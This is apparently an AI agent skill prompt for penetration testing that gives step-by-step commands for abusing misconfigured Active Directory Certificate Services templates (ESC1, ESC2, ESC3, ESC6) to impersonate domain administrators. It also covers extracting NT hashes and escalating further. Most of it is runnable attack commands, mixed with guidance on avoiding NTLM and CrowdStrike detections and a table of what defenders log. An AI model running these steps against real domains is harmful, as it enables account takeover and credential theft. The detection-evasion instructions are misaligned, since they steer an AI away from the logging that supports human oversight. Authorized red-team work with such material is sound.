| name | adcs-template-abuse |
| description | Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee supplies subject), ESC2 (any-purpose/no EKU), ESC3 (enrollment agent), ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2 CA flag).
|
| keywords | ["ESC1","ESC2","ESC3","ESC6","certificate template","ADCS escalation","SAN abuse","enrollment agent","certipy req","Certify request","ENROLLEE_SUPPLIES_SUBJECT","any purpose EKU","certificate impersonation"] |
| tools | ["Certipy","Certify.exe","Rubeus","certutil"] |
| opsec | medium |
ADCS Template Abuse (ESC1 / ESC2 / ESC3 / ESC6)
You are helping a penetration tester exploit misconfigured AD CS certificate
templates to impersonate arbitrary domain principals. All testing is under
explicit written authorization.
Kerberos-first authentication: Enumeration and certificate requests use
Kerberos auth when possible. Post-exploitation authenticates via PKINIT (pure
Kerberos) to avoid NTLM detection (Event 4776, CrowdStrike Identity Module).
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[adcs-template-abuse] Activated → <target> to the screen on activation.
- Evidence → save significant output to
engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Domain user credentials (any privilege level — enrollment rights are key)
- Network access to a domain controller and CA server
- Tools:
certipy (Python), optionally Certify.exe (C#), Rubeus (C#)
Kerberos-first workflow:
cd $TMPDIR && getTGT.py DOMAIN/user -hashes :NTHASH -dc-ip DC_IP
cd $TMPDIR && getTGT.py DOMAIN/user:'Password' -dc-ip DC_IP
export KRB5CCNAME=$TMPDIR/user.ccache
certipy find -k -no-pass -dc-ip DC_IP -vulnerable -output engagement/evidence/certipy-adcs
Tool output directory: certipy find supports -output to control where
results are written — always use -output engagement/evidence/certipy-<label>.
Without it, certipy writes {timestamp}_Certipy.{json,txt} to CWD.
getTGT.py, certipy req, and certipy auth all write output files to CWD
with no output-path flag. Always prefix these commands with cd $TMPDIR &&.
getTGT.py does NOT support -out — CWD is the only control. When saving
evidence, use mv (not cp) to avoid stray duplicates:
mv $TMPDIR/administrator.pfx engagement/evidence/administrator.pfx
mv $TMPDIR/administrator.ccache engagement/evidence/administrator.ccache
Clock Skew Interrupt
Before any Kerberos operation, check for clock skew. If you encounter
KRB_AP_ERR_SKEW at any point during this skill — STOP IMMEDIATELY.
Do NOT fall back to NTLM authentication. Kerberos-first is an OPSEC
requirement, not a preference. NTLM fallback generates Event 4776 and
CrowdStrike Identity Module PTH signatures — the exact detections
Kerberos-first exists to avoid.
When clock skew is detected:
- Note the skew magnitude (from the error or
ntpdate -q DC_IP)
- STOP. Return to the orchestrator with this structured interrupt:
### Clock Skew Interrupt
- Error: KRB_AP_ERR_SKEW
- Skew: <magnitude in seconds/minutes>
- DC IP: <IP>
- Stage: <what step you were on when it hit>
- Attempted: <commands that failed>
The orchestrator will handle clock sync (requires sudo) and re-invoke
this skill with identical parameters. Do not retry, do not work around
it with NTLM, do not write your own sync script.
Step 1: Enumerate Vulnerable Templates
Run ADCS enumeration to identify vulnerable templates. If the orchestrator or
ad-discovery already provided results, skip to the relevant ESC.
Certipy (Linux — preferred)
certipy find -k -no-pass -dc-ip DC_IP -vulnerable -output engagement/evidence/certipy-adcs
certipy find -k -no-pass -dc-ip DC_IP -vulnerable -json -output engagement/evidence/certipy-adcs
certipy find -username user@DOMAIN -password 'Pass' -dc-ip DC_IP -vulnerable -output engagement/evidence/certipy-adcs
Certify.exe (Windows)
Certify.exe find /vulnerable
Certify.exe find /enrolleeSuppliesSubject
Certify.exe find /clientauth
Certify.exe find /showAllPermissions
NetExec (quick check)
nxc ldap DC_IP -k --use-kcache -M adcs
What to look for
| ESC | Key Indicator |
|---|
| ESC1 | ENROLLEE_SUPPLIES_SUBJECT flag + client-auth EKU + low-priv enrollment |
| ESC2 | Any Purpose EKU (2.5.29.37.0) or no EKU + low-priv enrollment |
| ESC3 | Template with Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1) + second template allowing on-behalf-of |
| ESC6 | CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled |
Check ESC6 flag specifically:
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
Decision tree
Vulnerable template found?
├── ENROLLEE_SUPPLIES_SUBJECT + auth EKU → ESC1 (Step 2)
├── Any Purpose or No EKU → ESC2 (Step 3)
├── Certificate Request Agent EKU → ESC3 (Step 4)
├── EDITF_ATTRIBUTESUBJECTALTNAME2 on CA → ESC6 (Step 5)
└── Template ACL writable → Escalate (ESC4)
Step 2: ESC1 — Enrollee Supplies Subject
Conditions: Template has CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT set,
client-auth or smart card logon EKU, enrollment rights for low-priv user,
no manager approval, no authorized signatures required.
The attacker specifies an arbitrary SAN (Subject Alternative Name) in the
certificate request, impersonating any domain user.
Request certificate with SAN
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
-template 'VulnTemplate' -upn 'administrator@domain.local'
certipy req -username user@domain.local -password 'Pass' -target-ip CA_IP \
-ca 'DOMAIN-CA' -template 'VulnTemplate' -upn 'administrator@domain.local'
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /template:VulnTemplate \
/altname:administrator@domain.local
Post-May 2022 (KB5014754): Certificates now include a security extension
with the requester's SID. The SAN identity must match the requestor unless
ESC9/ESC10 conditions exist. To work on patched systems, include the target SID:
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /template:VulnTemplate \
/altname:administrator \
/sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-500
Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx \
/password:pfx-password /ptt
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx \
/password:pfx-password /getcredentials
certipy auth -pfx administrator.pfx -dc-ip DC_IP -ldap-shell
Step 3: ESC2 — Any Purpose or No EKU
Conditions: Template has Any Purpose EKU (OID 2.5.29.37.0) or no EKU
at all, enrollment rights for low-priv user, no manager approval.
- Any Purpose: Certificate valid for client auth, server auth, code signing,
etc. Exploit identically to ESC1.
- No EKU: Acts as a subordinate CA — can sign new certificates with arbitrary
EKUs. More powerful but subordinate CA won't work for domain auth unless listed
in NTAuthCertificates (not default).
Any Purpose EKU (common case)
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
-template 'AnyPurposeTemplate' -upn 'administrator@domain.local'
certipy auth -pfx administrator.pfx -dc-ip DC_IP
No EKU (subordinate CA)
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
-template 'NoEKUTemplate'
Explain that Any Purpose is directly exploitable like ESC1, while No EKU
requires chaining. Recommend focusing on Any Purpose templates.
Step 4: ESC3 — Enrollment Agent Abuse
Conditions: Two templates required:
- Template with
Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1),
enrollment rights for low-priv user
- Template allowing on-behalf-of enrollment with domain-auth EKU (schema v1
or v2+ with Application Policy Issuance Requirement for Request Agent)
The attacker first obtains an enrollment agent certificate, then uses it to
request certificates on behalf of any user.
Step 4a: Obtain enrollment agent certificate
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
-template 'EnrollmentAgentTemplate'
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA \
/template:Vuln-EnrollmentAgent
Step 4b: Request on behalf of target user
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
-template 'User' -on-behalf-of 'DOMAIN\administrator' \
-pfx 'agent.pfx'
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /template:User \
/onbehalfof:DOMAIN\administrator /enrollment:agent.pfx \
/enrollcertpwd:pfx-password
Step 4c: Authenticate as impersonated user
certipy auth -pfx administrator.pfx -dc-ip DC_IP
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx \
/password:pfx-password /ptt
Note: CA enrollment agent restrictions (certsrc.msc → CA Properties →
Enrollment Agents tab) can limit who the agent can enroll as. Default is
"Do not restrict enrollment agents" — allows everyone.
Step 5: ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
Conditions: CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled. This
allows a SAN to be specified as a certificate attribute (not extension)
in any request, even for templates that don't have ENROLLEE_SUPPLIES_SUBJECT.
This means standard templates like User become exploitable.
Exploit
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
-target CA_HOST -template User -upn administrator@domain.local
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /template:User \
/altname:administrator@domain.local
certreq.exe -new request.inf -config "CA_HOST\CA_NAME" \
-attrib "SAN:upn=administrator@domain.local"
Authenticate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
Post-May 2022 patch impact
After KB5014754, the certificate's security extension contains the
requester's SID, not the SAN identity's SID. ESC6 exploitation on patched
systems requires ESC9/ESC10 conditions (weak certificate mapping) to succeed.
Check if patched:
- If
certipy auth returns KDC_ERR_CERTIFICATE_MISMATCH, the DC enforces
strong certificate binding and ESC6 alone is insufficient.
- Chain with ESC9/ESC10 if those conditions exist — route to adcs-persistence.
Step 6: Certificate Authentication Reference
All ESC variants produce a PFX/certificate. Use these methods to authenticate:
PKINIT (preferred — pure Kerberos)
certipy auth -pfx target.pfx -dc-ip DC_IP -username target -domain DOMAIN
gettgtpkinit.py -cert-pfx target.pfx -pfx-pass pfx-password \
DOMAIN/target target.ccache
Rubeus.exe asktgt /user:target /certificate:target.pfx \
/password:pfx-password /ptt
UnPAC the Hash (extract NT hash from PKINIT TGT)
certipy auth -pfx target.pfx -dc-ip DC_IP
export KRB5CCNAME=target.ccache
getnthash.py -key 'AS-REP-encryption-key' DOMAIN/target
Rubeus.exe asktgt /user:target /certificate:target.pfx \
/password:pfx-password /getcredentials
LDAPS/Schannel (fallback when PKINIT fails)
certipy auth -pfx target.pfx -dc-ip DC_IP -ldap-shell
Certificate format conversion
openssl pkcs12 -in cert.pem -keyex \
-CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
-export -out cert.pfx
openssl pkcs12 -in cert.pfx -out cert.pem -nodes
certipy cert -export -pfx cert.pfx -password 'old-pass' -out unprotected.pfx
Step 7: Escalate or Pivot
STOP and return to the orchestrator with:
- What was achieved (RCE, creds, file read, etc.)
- New credentials, access, or pivot paths discovered
- Context for next steps (platform, access method, working payloads)
Troubleshooting
CERTSRV_E_TEMPLATE_DENIED
Template ACL denies enrollment for current user. Verify enrollment rights with
certipy find or Certify.exe find /showAllPermissions. Look for group-based
enrollment (add yourself to the group via ACL abuse if possible).
KDC_ERR_PADATA_TYPE_NOSUPP
DC doesn't support PKINIT pre-authentication. Use LDAPS/Schannel fallback:
certipy auth -pfx cert.pfx -ldap-shell. From LDAP shell, set RBCD or modify
attributes for alternative escalation.
KDC_ERR_CERTIFICATE_MISMATCH
Certificate SID doesn't match target identity. System is patched (KB5014754).
ESC1/ESC6 alone won't work — need ESC9/ESC10 conditions or use the certificate
owner's identity instead.
KDC_ERR_CLIENT_NOT_TRUSTED
CA certificate not in NTAuthCertificates or cert chain not trusted. Verify CA
is enterprise CA (not standalone). Check certutil -viewstore -enterprise NTAuth.
Certificate request pending (not issued)
Template requires manager approval. Check if you have ManageCA/ManageCertificates
permissions to approve it yourself — route to adcs-access-and-relay (ESC7).
KRB_AP_ERR_SKEW (Clock Skew)
See Clock Skew Interrupt section above. STOP and return to the orchestrator.
Do not retry, do not fall back to NTLM.
OPSEC comparison
| ESC | OPSEC | Detection Surface |
|---|
| ESC1 | Medium | Certificate enrollment event (4887), SAN in request visible in CA logs |
| ESC2 | Medium | Same as ESC1. No-EKU subordinate CA is louder (4899) |
| ESC3 | High | Two enrollment events — agent cert + on-behalf-of request |
| ESC6 | Medium | Standard template enrollment, but SAN attribute visible in CA logs |